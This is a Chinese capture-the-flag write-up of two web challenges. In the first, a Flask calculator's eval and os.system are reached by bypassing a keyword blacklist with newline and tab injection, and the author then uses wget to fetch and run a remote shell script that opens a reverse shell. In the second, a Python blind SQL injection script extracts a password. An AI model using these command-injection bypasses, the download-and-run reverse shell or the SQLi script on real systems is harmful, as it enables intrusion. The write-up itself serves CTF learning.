calc
打开查看是计算器,查看发现是flask框架构造错误参数发现debug页面从而发现了关键代码
def calc(): ip = request.remote_addr num = request.values.get("num") log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num) if waf(num): try: data = eval(num) os.system(log) except: pass ------------------------------------------------------ def waf(s):Open an interactive python shell in this frame blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__'] flag = True for no in blacklist: if no.lower() in s.lower(): flag= False print(no) break return flag
关键点就在于os.system(log)
所以根据流程就可以知道只要绕过waf检查并且eval不会报错就行。
所以可以构造一个命令执行。
因为waf过滤了;可以通过换行执行新的命令空格过滤了可以用tab替换%09 这样就可以构造了,只剩下了eval了只要eval不报错就可以执行到systen函数。
这里可以通过多行文本的办法没有过滤单引号可以通过”’ ”’进行构造,但是在linux下也是多行文本不过linux可以通过一个单引号结束掉多文本所以可以是”’%0a’%0axxxxxxxxxxxxx%0a”’
xxxx就是我们要执行的命令。最开始我是直接cp /* static/ 呃呃因为以前做过几个都是这样的flag文件名就是flag直接在static下面访问就行了,这次居然没反应呃呃。然后就利用其他办法通过wget下载一个脚本,wget xxxx.xx/shell.sh 然后chmod +x shell.sh ./shell.sh就可以直接反弹shell了
最后找flag时候发现flag在static下面一个叫v2的文件里呃呃呃呃b( ̄▽ ̄)d
ezbypass
提示是sql注入,提示查看password测试发现只有id=1一个用过联合查询发现了有waf然后就测试其他办法
通过盲注一位一位的爆破,
import requests flag = "" s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$&()*+-/^`{|}~" for i in range(150): for j in s: url = f"http://121.37.11.207:8099/sql.php?id=1 and password like 0x{flag + hex(ord(j))[2:]}25" if "letian" in requests.get(url).text: flag +=hex(ord(j))[2:] print(flag) break <br /><br />然后就得到flag了<br /><br /><br />